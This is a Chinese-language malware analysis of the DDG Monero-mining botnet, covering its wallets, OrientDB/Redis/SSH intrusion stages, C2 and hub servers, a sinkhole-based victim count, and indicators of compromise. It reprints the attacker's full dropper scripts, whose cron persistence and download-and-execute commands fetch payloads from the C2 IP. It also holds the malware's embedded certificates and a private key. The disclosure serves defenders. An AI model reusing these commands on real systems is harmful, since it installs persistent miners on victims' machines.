DDG 的结构上，除了僵尸网络中常见的 C2 和 bot，还有一个很有意思的 HUB 的设定。HUB 是一组 IP或者域名，用来提供挖矿二进制程序的下载。在 DDG 持续的更新过程中，其 v2011 版本的 HUB 列表中，有两个域名被列出但是未被注册，我们抢先注册并Sinkhole了这两个域名。虽然我们不可以通过这两个域名 Sinkhole 来接管该僵尸网络，但是可以基于 Sinkhole 数据对整个 DDG 僵尸网络的规模做一个精确的度量。

DDG Mining Botnet 的挖矿收益

DDG 在挖矿时使用如下矿池地址：

 * https://monero.crypto-pool.fr/

其使用的钱包地址有三个，如下：

 * Wallet #1 4AxgKJtp8TTN9Ab9JLnvg7BxZ7Hnw4hxigg35LrDVXbKdUxmcsXPEKU3SEUQxeSFV3bo2zCD7AiCzP2kQ6VHouK3KwnTKYg
 * Wallet #2 45XyPEnJ6c2STDwe8GXYqZTccoHmscoNSDiTisvzzekwDSXyahCUmh19Mh2ewv1XDk3xPj3mN2CoDRjd3vLi1hrz6imWBR1
 * Wallet #3 44iuYecTjbVZ1QNwjWfJSZFCKMdceTEP5BBNp4qP35c53Uohu1G7tDmShX1TSmgeJr2e9mCw2q1oHHTC2boHfjkJMzdxumM

其中，Wallet #3 是最先开始活跃的钱包地址，高峰期在 2017.02～2017-03；随后是 Wallet #1，持续了2017一整年； Wallet #2 是最近出现的，我们首次观察到的时间是 2018-01-03。

全部三个钱包的收入如下表所示，共计收入 3395 或者 5760 的门罗币，这些代币今天价值人民币 580万 或者 980万。注意：在第二个钱包付费记录中，"Total Paid"与逐笔交易累积得到的 "Amount Summary" 并不一致，我们无从确认哪个数字更准确，因此把两个数字都记录了下来。

DDG Mining Botnet 的攻击阶段和结构划分

通过分析样本及其行为，我们能够描绘 DDG Mining Botnet 的攻击过程如下：

上图中，DDG Mining Botnet 的攻击过程可以分为几个阶段：

 * 扫描阶段：攻击者（ ss2480.2 ）利用 OrientDB 数据库的已知 RCE 漏洞，投入攻击载荷；
 * 第一阶段：攻击者修改本地 Crontab 定时任务，下载执行主要服务器上的 i.sh ( hxxp://218.248.40.228:8443/i.sh) ，并保持每 5 分钟同步。此 i.sh 会继续从同一服务器上下载运行 ddg 样本
 * 第二阶段：ddg 会依次连接内置 hub_iplist.txt 文件里的 hub_ip，然后从可以成功连接的 hub_ip 上下载对应的 Miner 程序 wnTKYg（如果本机 CPU 不支持 AES-NI，还会下载 wnTKYg.noaes）。这个程序的命名，恰好是其钱包地址的尾部。
 * 挖矿阶段：Miner 程序开始与矿池通信，利用失陷主机的计算资源，为攻击者的钱包开始挖矿。

上述结构中，除了僵尸网络中常见的 C2 和 bot 以外，还有一个很有意思的 HUB。攻击者使用 HUB 上的多个IP或者域名来提供挖矿程序的下载。我们观察到 DDG 运营者会不时更新这些 HUB 的IP和域名，来源大部分是失陷主机。全部的 HUB 列表见文末。

关于这个 HUB 另一个有意思的地方，是我们注意到 v2011 版本中三个域名中的两个在当时是未注册的，如下。这两个域名被我们注册并 Sinkhole，后来我们意识到，我们可以通过这两个 HUB Sinkhole 上的到的数据来精确度量整个 DDG 僵尸挖矿网络。

 * defaultnotepad567[.]com
 * unains1748[.]com 未注册
 * 5dba35bsmrd[.]com 未注册

下面我们分别介绍 DDG 僵尸网络的 C2， HUB， 和 Bot。其中 Bot 部分的数据，会使用来自Sinkhole 的数据。

DDG 僵尸网络的 C2

DDG 僵尸网络使用如下 C2 保持对设备的长期控制：

 * 202.181.169.98:8443/i.sh
 * 218.248.40.228:8443/i.sh

其中后者来自印度，AS9829，一直在使用，两年来没有变过；前者来自香港，AS7540，仅在早期短暂使用。

DDG 僵尸网络的 HUB，以及我们的 HUB Sinkhole

DDG 僵尸网络使用 HUB_IP:8443\wnTKYg 提供挖矿程序下载。我们监控到的两个版本的 HUB 详细列表见文末 IoC 部分，其国家分布如下表所示。可见大部分受害者位于中国。

如前所述，我们在监控其 v2011 版本的时候，发现其中两个域名没有注册，unains1748[.]com 和 5dba35bsmrd[.]com 。我们注册了这两个域名，合并到我们的 Sinkhole 池中，并几乎立刻看到有 IP 开始连接这两个域名，后来我们确认来连接的这些 IP 均是被 DDG 感染的主机。

这样至少我们可以利用 HUB Sinkhole 来度量 DDG 的规模。那么，我们的 Sinkhole 能看到 DDG 僵尸网络的多大部分呢，是盲人摸象看到一部分？还是全部？

我们仔细检查了 DDG 的运行机制，并且确认无论被感染的 bot 最终从 HUB 上的哪个部分下载挖矿程序，这些 bot 都会检查 HUB 上的全部 IP 和域名的连通性。这意味着，我们可以 看到 DDG 全部的被感染设备，并进一步利用这些数据对 DDG 僵尸网络做精确的度量。

可惜的是，我们注册 Sinkhole 的行动被 DDG 运营者发现了，他们随后发布了 DDG 的更新版本，更新了全部的 HUB IP列表，将我们的 Sinkhole 从僵尸网络内部踢了出来。

另外一方面，从 bot 的代码逻辑来看，创造合适的条件，会使得被感染的 bot 尝试从我们的 sinkhole 下载并运行挖矿程序....嗯，这个话题我们就讨论到这里，白帽子一定要带头做遵纪守法的好公民。

DDG 僵尸网络的 Bot

我们可以使用 HUB Sinkhole 的数据来精确度量 DDG 僵尸网络的感染规模。为避免滥用，全部受害者 IP 列表不会公开。

我们共记录了4391 个受害者IP地址，来自各个国家，最主要的受害者集中在中国(73%)和美国(11%)：

从网络自治域分布来看，国内各主要云计算服务商均有出现，国外若干互联网巨头公司也有少量中招。总体来看，因为 DDG 投入时是利用数据库服务器的错误配置或者漏洞利用，云服务厂商既往确实不容易防范。建议后续云服务厂商考虑加强这方面的防御措施。

受害者一段时间内对上述 2 个域名的 DNS 请求趋势如下。尾部曲线快速下降，对应僵尸网络运营者更新版本的时段。

利用 DNSMon 感知这三个域名的异常访问

我们的 DNSMon 也感知到了这三个域名的异常，下面两张图分别展示这三个域名流量访问曲线高度拟合，并且在访问时序上有强烈的相关性：


DDG Mining Botnet 攻击过程详细剖析

扫描

DDG Mining Botnet 的扫描和入侵阶段由样本 ss2480.2 完成。ss2408.2 首先会根据一定策略生成 Target IP 并扫描 Target IP 的 2480 端口，最后会利用 OrientDB 的 RCE 漏洞 CVE-2017-11467 实施入侵。

ss2480.2 会先扫描内网网段，然后扫描公网网段。生成的内网网段 Target IP 范围如下：

 * 10.Y.x.x/16 (Y 为当前内网 IP B 段的值)
 * 172.16.x.x/16
 * 192.168.x.x/16

样本中生成内网 Target IP 的部分代码如下：

结束对内网的扫描之后，ss2480.2 会访问 hxxp://v4.ident.me 获取当前主机的公网 IP 地址 WAN_IP ，然后在 WAN_IP/8 范围内生成公网 Target IP 发起扫描。样本中生成公网 Target IP 时，会过滤掉保留地址段：

样本利用漏洞最后执行的 Payload 如下：

第一阶段

DDG 在 C2 （218.248.40.228 India/IN AS9829）上提供了云端配置文件： hxxp://218.248.40.228:8443/i.sh

该 i.sh 配置文件有多次变化，但是内容大同小异。下面是一个早期版本，其功能主要是：

 * 将本地 Crontab 内容与远程服务器上的 i.sh 保持同步
 * 从远程服务器下载 ddg 样本到本地并执行
 * 检查本地的 ddg 的历史版本进程，并杀掉

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh?6 | sh" > /var/spool/cron/root  
mkdir -p /var/spool/cron/crontabs  
echo "*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh?6 | sh" > /var/spool/cron/crontabs/root

if [ ! -f "/tmp/ddg.2011" ]; then  
    curl -fsSL http://218.248.40.228:8443/2011/ddg.$(uname -m) -o /tmp/ddg.2011
fi  
chmod +x /tmp/ddg.2011 && /tmp/ddg.2011


#if [ ! -f "/tmp/ss2480.2" ]; then
    #curl -fsSL http://218.248.40.228:8443/ss2480.2 -o /tmp/ss2480.2
#fi
#chmod +x /tmp/ss2480.2 && /tmp/ss2480.2

ps auxf | grep -v grep | grep ss2480.1 | awk '{print $2}' | kill  
#ps auxf | grep -v grep | grep ss22522.1 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ss22522.2 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.1010 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.1021 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2001 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2003 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2004 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2005 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill

#ps auxf | grep -v grep | grep ddg.2011 || rm -rf /tmp/ddg.2011


由 i.sh 脚本内容可知，攻击者只需更新其中的样本下载地址，便可以灵活地向失陷主机投放任意恶意软件。根据我们的监控，该云端配置文件确实会不定时更新，用以投放新版木马文件，或者投放集成新的攻击方式的恶意软件。其投递的恶意软件包括：

 * DDG 样本：即 ddg.$(uname -m) 系列样本，这是长期投递的攻击载荷，我们监测到 v2011、v2020 和 v2021 共 3 个大版本
 * ss22522 系列样本：短时间内投递过，针对Struts2 漏洞 S2-052
 * ss2480 系列：短时间内投递过，是针对 OrientDB 漏洞的攻击样本，正是这个样本在短时间内的大规模扫描暴露了自己

另外，早期版本中 kill 命令前面没有 xargs，进程并不会真正被杀死，在后期版本上这个 xargs 被加了进去，修复了这个问题。

2018.1.3 日，攻击者上线了最新的 i.sh(v2021.2)，新增了另外一个挖矿木马 imWBR1，正是该木马中内置了前文列出的第二个 XMR 钱包地址 :

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh" > /var/spool/cron/root  
echo "*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh" >> /var/spool/cron/root  
mkdir -p /var/spool/cron/crontabs  
echo "*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh" > /var/spool/cron/crontabs/root  
echo "*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh" >> /var/spool/cron/crontabs/root

if [ ! -f "/tmp/ddg.2021" ]; then  
    curl -fsSL http://218.248.40.228:8443/2021/ddg.$(uname -m) -o /tmp/ddg.2021
fi

if [ ! -f "/tmp/ddg.2021" ]; then  
    wget -q http://218.248.40.228:8443/2021/ddg.$(uname -m) -O /tmp/ddg.2021
fi

chmod +x /tmp/ddg.2021 && /tmp/ddg.2021


if [ ! -f "/tmp/imWBR1" ]; then  
    curl -fsSL http://218.248.40.228:8443/imWBR1 -o /tmp/imWBR1 --compressed
fi

ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill  
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill  
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill  
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill  
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill  
ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill  
#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill


第二阶段

ddg 样本中内置了一个 hub_iplist.txt 文件，其中包含了上百个 hub_ip:8443 的列表。经我们排查，这些 hub_ip 对应的主机，多是常规网站服务器，都被攻击者入侵而沦为攻击者的肉鸡。

在这个阶段，ddg 会依次尝试连接 hub_iplist.txt 里的 hub_ip，如果成功连接某个 hub_ip ，ddg 就会访问 http://<hub_ip>:8443/wnTKYg 下载对应的 Miner 程序 wnTKYg 并启动（如果本机 CPU 不支持 AES-NI，还会下载 wnTKYg.noaes）。ddg 尝试连接 hub_ip 的过程抓包如下：

所以在 ddg 从 hub_ip 下载 Miner 并启动后的 KeepAlive 阶段，就会每隔 10s 向已连接的 hub_ip 发 2 个数据包：


样本中内置的 hub_iplist.txt

i.sh 文件中的 ddg 样本下载 URL 是 hxxp://218.248.40.228:8443/2011/ddg.$(uname -m)。ddg 文件V2011内置的 hub_iplist.txt 中有 158 个 hub_ip:8443 和 3 个 hub_domain:8443 列表，其中 2 个 Domain 未注册，然后被我们注册并 Sinkhole。

2017-11-10 我们发现 i.sh 文件内容有变化，ddg 样本最新的下载链接变成了 hxxp://218.248.40.228:8443/2020/ddg.$(uname -m) 。我们排查后发现是 ddg 内置的
hub_iplist.txt 内容有变化，估计是之前我们 Sinkhole 了黑客未注册的域名被他们发觉，他们重新上线了一批 hub_ip，替换掉了全部的 hub_ip。


DDG Mining Botnet 的攻击目标，还曾瞄准 Redis 数据库与 SSH 服务

以上分析中，DDG 的攻击目标集中在 OrientDB 上。

事实上，ddg 木马中的 ddg.$(uname -m) 系列样本还可以对 SSH 服务和 Redis 服务发起扫描&暴破攻击，这也是 ddg 一直以来入侵用户主机的主要手段。样本中内置的部分相关函数以及暴破字典如下两图所示：

样本中还有内置的 3 个 x509 证书 / 密钥文件如下：

 * slave.pem
 * ca.pem
 * slave.key

详细内容见文末 IoC 部分。

回溯历史数据时，我们还能看到 i.sh 的 host 218.248.40.228 在更早期扫描 Redis 数据库的痕迹。互联网上也偶尔会有受害者曝光自己服务器中了 ddg 木马被用来挖矿。 下表是 218.248.40.228 在 2017-09-27 20:00:00 ~ 2017-10-25 11:00:00 期间扫描端口的分布情况。

按照扫描次数排序，6379, 7379，2480, 三个端口分别 Redis, Redis(Replicas), OrientDB 数据库服务：


近况

北京时间 2018.1.25 日 21 点左右，hxxp://218.248.40.228:8443/2011/ddg.x86_64 的样本更新，MD5 为 cbc4ba55c5ac0a12150f70585af396dc，是一个 Mirai 家族的样本。

Mirai C2 为 linuxuclib.com:8080 。

另外一个硬编码明文 C2 jbeupq84v7.2y.net 目前在在DNS系统中没有配置解析IP地址。


IoC

C2:

202.181.169.98:8443  
218.248.40.228:8443  
linuxuclib.com:8080  
jbeupq84v7.2y.net  


样本 MD5:

b1201bf62f3ca42c87515778f70fd789    ddg.i686   --> v2011  
7705b32ac794839852844bb99d494797    ddg.x86_64 --> v2011  
1970269321e3d30d6b130af390f2ea5c    ddg.i686   --> v2020  
5751440a2b3ce1481cf1464c8ac37cbe    ddg.x86_64 --> v2020  
f52f771c5b40a60ce344d39298866203    ddg.i686   --> v2021  
3ea75a85bab6493db39b1f65940cc438    ddg.x86_64 --> v2021  
b0c6cefa1a339437c75c6b09cefeb2e8    ss2480.1  
8c31b6379c1c37cf747fa19b63dd84a1    ss2480.2  
4fc28b8727da0bcd083a7ac3f70933fa    ss22522.2  
d3b1700a413924743caab1460129396b    wnTKYg  
8eaf1f18c006e6ecacfb1adb0ef7faee    wnTKYg.noaes  
9ebf7fc39efe7c553989d54965ebb468    imWBR1  


样本下载链接：

hxxp://218.248.40.228:8443/2011/ddg.i686  
hxxp://218.248.40.228:8443/2011/ddg.x86_64  
hxxp://218.248.40.228:8443/2020/ddg.i686  
hxxp://218.248.40.228:8443/2020/ddg.x86_64  
hxxp://218.248.40.228:8443/2021/ddg.i686  
hxxp://218.248.40.228:8443/2021/ddg.x86_64  
hxxp://218.248.40.228:8443/i.sh  
hxxp://218.248.40.228:8443/ss22522.2  
hxxp://218.248.40.228:8443/ss2480.1  
hxxp://218.248.40.228:8443/ss2480.2  
hxxp://218.248.40.228:8443/wnTKYg  
hxxp://202.181.169.98:8443/2011/ddg.i686  
hxxp://202.181.169.98:8443/2011/ddg.x86_64  
hxxp://202.181.169.98:8443/i.sh  
hxxp://202.181.169.98:8443/ss22522.2  
hxxp://202.181.169.98:8443/ss2480.1  
hxxp://202.181.169.98:8443/ss2480.2  
hxxp://202.181.169.98:8443/wnTKYg  
hxxp://218.248.40.228:8443/imWBR1  


ip_hublist(v2011): ip_hublist__2011.txt

ip_hublist(v2020~v2021): ip_hublist__2020.txt

三个 x509 证书/密钥文件：

slave.pem

-----BEGIN CERTIFICATE-----
MIICozCCAYsCCQDFoT3X3cNwiDANBgkqhkiG9w0BAQsFADATMREwDwYDVQQDDAh3  
ZS1hcy1jYTAeFw0xNzA3MTcwMTM2MjhaFw0yNzA3MTUwMTM2MjhaMBQxEjAQBgNV  
BAMMCWxvY2FsaG9zdDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAN1w  
9s7u1BrQSxJEkqCkJLl+qnw4XPL+GgCimso6WWvie8gr3AFiSDUFMVsbOOlGVXJD  
CAaYStw6Wkn09cjAczNW9Ysq4EOurpGmCDdViftu+5zu2Zmz88p1/ta3BuytQlfE  
Qll6IFjNLSPOAaIwaWcQFXN/OlCPJZ7wvdo5aXFgVkvFplXogQiFLdKn3PgtDiNy  
EZct1/GgkYkgMTiymGrhXyj6/Eca28IsTydwU5h2fkkAIwnYpyeeEdcxsLmmFmfE  
G5x1mNsmUPnvMU7/qULmchVJ16pne06rNREApbuhm/XrhaDjphK8CNbUDWNXCWIR  
SKUl5bMoq5XnrvKc98kCAwEAATANBgkqhkiG9w0BAQsFAAOCAQEAg/G9vqIRz4rC  
niH49gSwFzBhH9tCXyBtHj86WMb2hi9myzFGE4joMhWp7OK3lwWq18kbukPk0TBz  
N9Mxrvvr0REBMPa1Q7VAq5ouFHw4WcIyzi1Ksw0SmFjaRCGqJTWQnG8lz+aIN8NX  
/i1KBWPbrnZGFfLdcKUmKrIXt6I3S1kb3jhJvlTOTjfr/iPlAMjVE9+tdgmy0Bsh
Mon9ctFwFj0sLhkcuyXU33ItkX5am2qmG7ToCoUj855JEm06T6PSakRLvodAsZfp  
Jmto1aFjT/7HS5ImcOrd1WWXU76cSZN5GENRcsIzmA3pq6dVKFfSwsAOMw5zQcTS  
uDpcOCRjJg==  
-----END CERTIFICATE-----


ca.pem

-----BEGIN CERTIFICATE-----
MIIC/DCCAeSgAwIBAgIJAK1DRcYUFowVMA0GCSqGSIb3DQEBCwUAMBMxETAPBgNV  
BAMMCHdlLWFzLWNhMB4XDTE3MDcxNzAxMzYyOFoXDTQ0MTIwMjAxMzYyOFowEzER  
MA8GA1UEAwwId2UtYXMtY2EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB  
AQCz6Iaprhnb68CEPCJzU1uCplIMQWuMtpuamV/M4T1G0A0qPHLsCPbnS+psuSwK  
Tnp3XBDEdTbhm33/FfLXeEfEmJlVX4lJfPk7XPT/UwgJ1OgGVegxNndPd+FQf1oX  
5ePSEmGZQRy9gkRQtCpSmO11AO8bbZY+WhHzvb3VQmu6rBAVCnzhPmBBlXsoyJfI  
oRVX5FEwCMZXuKHVd2N/Q8XBEFX6TGICEAwSCu69QYG7eFMleLgCxFRJ1xOXfPvD  
x++depGUDpR9PrsTQ6Oh3BIicuWHfj72tiooVW1mGG8yAqDfb1kBa5gq8jZM13Nx  
gK0aRbZiJFreFj8Ed05LlPdnAgMBAAGjUzBRMB0GA1UdDgQWBBRL9zCbPXsgyxFe  
oZYZtZmjvAyqbDAfBgNVHSMEGDAWgBRL9zCbPXsgyxFeoZYZtZmjvAyqbDAPBgNV  
HRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBAQBFne95zt54uyUn2ZtdUUHH  
Oh3ODsCx+hL4DWsyaVa1l9PTW1es58+VGPFr4JYKj5DDj1FebYW/k0DAt6G4ehVg  
pfYW23lYbwfbs1gFKaUVX1gb0U0BsLlXGJ5dVlnY09Z3RGZ1nf0U6VgTbleDc/M6  
Cax7dvyn2a+2BJLxl3QCUVye6PJw33Hjjl8xfMTEv3RKoxeYP0Prgrmmg/gmr7hs  
doWJBMflCWmwZJKhtdYAKMkFnprNH4h8ryqsWeO928ZHbHbxej15Rv9BjXIg4XnF  
tEIvhZUJ3tj4OvK8X6hJf0ZsI/3H1ffvTHyIX4UnYgGqMFlHSBXMhOIiXed6+xsP  
-----END CERTIFICATE-----


slave.key

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA3XD2zu7UGtBLEkSSoKQkuX6qfDhc8v4aAKKayjpZa+J7yCvc  
AWJINQUxWxs46UZVckMIBphK3DpaSfT1yMBzM1b1iyrgQ66ukaYIN1WJ+277nO7Z  
mbPzynX+1rcG7K1CV8RCWXogWM0tI84BojBpZxAVc386UI8lnvC92jlpcWBWS8Wm  
VeiBCIUt0qfc+C0OI3IRly3X8aCRiSAxOLKYauFfKPr8RxrbwixPJ3BTmHZ+SQAj  
CdinJ54R1zGwuaYWZ8QbnHWY2yZQ+e8xTv+pQuZyFUnXqmd7Tqs1EQClu6Gb9euF  
oOOmErwI1tQNY1cJYhFIpSXlsyirleeu8pz3yQIDAQABAoIBAQCTltbo1QVJWcqv  
QkT4DG7tsx6t7GMHEZUDF11Tq9Att6YIpDLeOUMnE27x6hLkZ5xLq6GNw7MhVUMY  
R8wJITum3C6LsugGNEbljGOtfbWZfz70Ob2OVAIIztwq/5H97PxqwsP2Hw+wIBAV  
7RfpoZqetnmVoRac2suYQ5xF9j3w8acpCZdU2jCvbMNADdOtCkXBXcD9nGU0d9dN  
Z+qajp7otDw1DbQ381x6YDEu0g9CJhXdVfqK0skOs9KTrATxLBw4u6UmIP7fNAoH  
p9OXzp6gzzl4mLR05SWm1pcjuoqxL88wIPYtcfKo8Z4CxZhx2oPTiQ0JUiVHUvPh  
OZwu2GSBAoGBAPFscPODr2H4dFFKK6uYb2ZRY6WSOiL31o1LCZ3a4lDJS7fvncZK  
OiyG/RQIt0k68UQHNxte0VOHiaGqCaHlfikS/KN5WyQeaRmH+MKxp+atGvKXmURV  
+uWK37GCIDzqTDPtu9UiAxQOOJQZCvGh40lc35v2aJGKpkD4+IaEDpDXAoGBAOrP
qpei2+DtwougNA9FTxS3Z34NCCIHT0rqoogZZirMy6M7LnUoWAgMIUjpENK7uxma  
nNEWagv5XrLmFbjC/UaTF5BR9CrX0orto2CNA2upN+7Y6wNnB1ed7sjLubDEPNXv  
JeZsoz4G7TDq9oXE54a8idFVePn8q1RdRvHOdYhfAoGAbMgqFO+vJPvonYBIMSec  
eoQN3FsJKxx1ZnD7Qk+QTkqFfbnQY7qqf8nLWy2aOLsAX2DI6eJNe8/Eqj2N3Y8k  
y6ksgRR7hsjVHpXv9vpJ51z0mX7Jpsr/JFLw/HDfydLgxz1Ft4F91Zma0NB/5+TE  
HxhkAUiEUaAhzYDhquryDT0CgYAP0YOdiYQkh//mJhm7uaCVNbHMJRaaLEHkOyBN  
6OAgHAHP8kmz7M7ZY+/OGJ1ghPMay3arA0aLnfYKOUPXWZN0cK5Ss6KuTDHL2Cx8  
caN8Wj8BYS2b4hH1jhcrAcZ1qRKsGttDxafNouvRstJ+uoAabJMgPhDTTnlASrRf  
z9fNIwKBgCM3UzxVsRyoYx7rpCQ7QSX6SHsM0cNjWDRw5aMziQmyI+sitwOPAVek  
O+XvIXIzdahNBhQQ0giFKWh/b7fq2aNB1J+5TtAcEFTFFk9LC3l/U7Mk0nhUsh6G  
pEcsRlnc4GpFeelJtj/c1BHBbX7HSdB8osk3GDyUwX1KVlbxZ4dk  
-----END RSA PRIVATE KEY-----
{"version":"0.3.1","atoms":[["soft-return","",{}]],"cards":[["image",{"src":"__GHOST_URL__/content/images/2018/01/ddg_total_incoming.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2017/11/atk_process.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2018/02/hub_asn.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2018/01/sinkhole_ip_geo.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2018/01/sinkhole_ip_asn.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2018/01/bot_dns_query_trend.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2017/11/3_related_domain.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2017/11/2_related_domain.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2017/11/scantarget_lan.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2017/11/scantarget_wan.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2017/11/orientdb_exp1.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2018/01/orientdb_rce_exp.png","alt":"","title":""}],["code",{"code":"export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin\n\necho \"*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh?6 | sh\" > /var/spool/cron/root  \nmkdir -p /var/spool/cron/crontabs  \necho \"*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh?6 | sh\" > /var/spool/cron/crontabs/root\n\nif [ ! -f \"/tmp/ddg.2011\" ]; then  \n    curl -fsSL http://218.248.40.228:8443/2011/ddg.$(uname -m) -o /tmp/ddg.2011\nfi  \nchmod +x /tmp/ddg.2011 && /tmp/ddg.2011\n\n\n#if [ ! -f \"/tmp/ss2480.2\" ]; then\n    #curl -fsSL http://218.248.40.228:8443/ss2480.2 -o /tmp/ss2480.2\n#fi\n#chmod +x /tmp/ss2480.2 && /tmp/ss2480.2\n\nps auxf | grep -v grep | grep ss2480.1 | awk '{print $2}' | kill  \n#ps auxf | grep -v grep | grep ss22522.1 | awk '{print $2}' | kill\n#ps auxf | grep -v grep | grep ss22522.2 | awk '{print $2}' | kill\n#ps auxf | grep -v grep | grep ddg.1010 | awk '{print $2}' | kill\n#ps auxf | grep -v grep | grep ddg.1021 | awk '{print $2}' | kill\n#ps auxf | grep -v grep | grep ddg.2001 | awk '{print $2}' | kill\n#ps auxf | grep -v grep | grep ddg.2003 | awk '{print $2}' | kill\n#ps auxf | grep -v grep | grep ddg.2004 | awk '{print $2}' | kill\n#ps auxf | grep -v grep | grep ddg.2005 | awk '{print $2}' | kill\n#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill\n#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill\n\n#ps auxf | grep -v grep | grep ddg.2011 || rm -rf /tmp/ddg.2011\n"}],["code",{"code":"export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin\n\necho \"*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh\" > /var/spool/cron/root  \necho \"*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh\" >> /var/spool/cron/root  \nmkdir -p /var/spool/cron/crontabs  \necho \"*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh\" > /var/spool/cron/crontabs/root  \necho \"*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh\" >> /var/spool/cron/crontabs/root\n\nif [ ! -f \"/tmp/ddg.2021\" ]; then  \n    curl -fsSL http://218.248.40.228:8443/2021/ddg.$(uname -m) -o /tmp/ddg.2021\nfi\n\nif [ ! -f \"/tmp/ddg.2021\" ]; then  \n    wget -q http://218.248.40.228:8443/2021/ddg.$(uname -m) -O /tmp/ddg.2021\nfi\n\nchmod +x /tmp/ddg.2021 && /tmp/ddg.2021\n\n\nif [ ! -f \"/tmp/imWBR1\" ]; then  \n    curl -fsSL http://218.248.40.228:8443/imWBR1 -o /tmp/imWBR1 --compressed\nfi\n\nps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill  \nps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill  \nps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill  \nps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill  \nps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill  \nps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill  \n#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill\n#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill\n"}],["image",{"src":"__GHOST_URL__/content/images/2017/11/hub_conn.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2017/11/smux_defaultconf.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2017/11/hub_keepalive.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2018/01/redis_ssh_funcs.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2018/01/auth_dict.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2017/11/5_historical_scanning_port_by_i_sh_host.png","alt":"","title":""}],["code",{"code":"202.181.169.98:8443  \n218.248.40.228:8443  \nlinuxuclib.com:8080  \njbeupq84v7.2y.net  \n"}],["code",{"code":"b1201bf62f3ca42c87515778f70fd789    ddg.i686   --> v2011  \n7705b32ac794839852844bb99d494797    ddg.x86_64 --> v2011  \n1970269321e3d30d6b130af390f2ea5c    ddg.i686   --> v2020  \n5751440a2b3ce1481cf1464c8ac37cbe    ddg.x86_64 --> v2020  \nf52f771c5b40a60ce344d39298866203    ddg.i686   --> v2021  \n3ea75a85bab6493db39b1f65940cc438    ddg.x86_64 --> v2021  \nb0c6cefa1a339437c75c6b09cefeb2e8    ss2480.1  \n8c31b6379c1c37cf747fa19b63dd84a1    ss2480.2  \n4fc28b8727da0bcd083a7ac3f70933fa    ss22522.2  \nd3b1700a413924743caab1460129396b    wnTKYg  \n8eaf1f18c006e6ecacfb1adb0ef7faee    wnTKYg.noaes  \n9ebf7fc39efe7c553989d54965ebb468    imWBR1  \n"}],["code",{"code":"hxxp://218.248.40.228:8443/2011/ddg.i686  \nhxxp://218.248.40.228:8443/2011/ddg.x86_64  \nhxxp://218.248.40.228:8443/2020/ddg.i686  \nhxxp://218.248.40.228:8443/2020/ddg.x86_64  \nhxxp://218.248.40.228:8443/2021/ddg.i686  \nhxxp://218.248.40.228:8443/2021/ddg.x86_64  